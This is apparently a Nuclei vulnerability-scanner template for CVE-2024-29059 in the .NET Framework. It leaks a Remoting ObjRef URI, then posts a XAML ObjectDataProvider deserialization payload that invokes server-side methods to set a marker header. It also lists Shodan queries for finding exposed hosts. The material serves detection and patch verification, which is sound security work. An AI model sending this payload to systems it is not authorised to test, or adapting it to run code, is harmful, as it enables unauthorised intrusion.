id: CVE-2024-29059 info: name: .NET Framework - Leaking ObjRefs via HTTP .NET Remoting author: iamnoooob,rootxharsh,DhiyaneshDk,pdresearch severity: high description: .NET Framework Information Disclosure Vulnerability impact: | Attackers can exploit leaked ObjRefs to access remote objects via .NET Remoting, potentially gaining unauthorized access to application data. remediation: | Apply security patches for .NET Framework addressing CVE-2024-29059. reference: - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-29059 - https://code-white.com/blog/leaking-objrefs-to-exploit-http-dotnet-remoting/ - https://github.com/codewhitesec/HttpRemotingObjRefLeak - https://github.com/NaInSec/CVE-LIST - https://github.com/fkie-cad/nvd-json-data-feeds classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2024-29059 cwe-id: CWE-209 epss-score: 0.98624 epss-percentile: 0.99919 cpe: cpe:2.3:a:microsoft:.net_framework:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: microsoft product: .net_framework shodan-query: - 'Server: MS .NET Remoting' - "server: ms .net remoting" tags: cve,cve2024,dotnet,microsoft,remoting,deserialization,kev,vkev,vuln http: - raw: - | GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.1 Host: {{Hostname}} __RequestVerb: POST Content-Type: text/xml - | POST {{objref}} HTTP/1.1 Host: {{Hostname}} SOAPAction: "" Content-Type: text/xml <ObjectDataProvider MethodName="AddHeader" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:System.Web="clr-namespace:System.Web;assembly=System.Web"><ObjectDataProvider.ObjectInstance><ObjectDataProvider MethodName="get_Response"><ObjectDataProvider.ObjectInstance> <ObjectDataProvider ObjectType="{x:Type System.Web:HttpContext}" MethodName="get_Current" /> </ObjectDataProvider.ObjectInstance> </ObjectDataProvider> </ObjectDataProvider.ObjectInstance> <ObjectDataProvider.MethodParameters> <System:String>X-Vuln-Test</System:String> <System:String>{{randstr}}</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> extractors: - type: regex name: objref part: body_1 group: 1 regex: - "(/[0-9a-f_]+/[0-9A-Za-z_+]+_[0-9]+\\.rem)" internal: true - type: dsl dsl: - x_vuln_test matchers: - type: dsl dsl: - "contains(body_1,'ObjRef')" - "contains(x_vuln_test,'{{randstr}}')" condition: and # digest: 4b0a00483046022100879f19c4ff2c182b32a4af06a50cf0967ecf4123f3779cb1c6b28e1b310edd0b0221009c980e88a299e1c25127a9a7f14ba9a0365d55f19ec093af567e6bcaef43b229:922c64590222798bb761d5b6d8e72950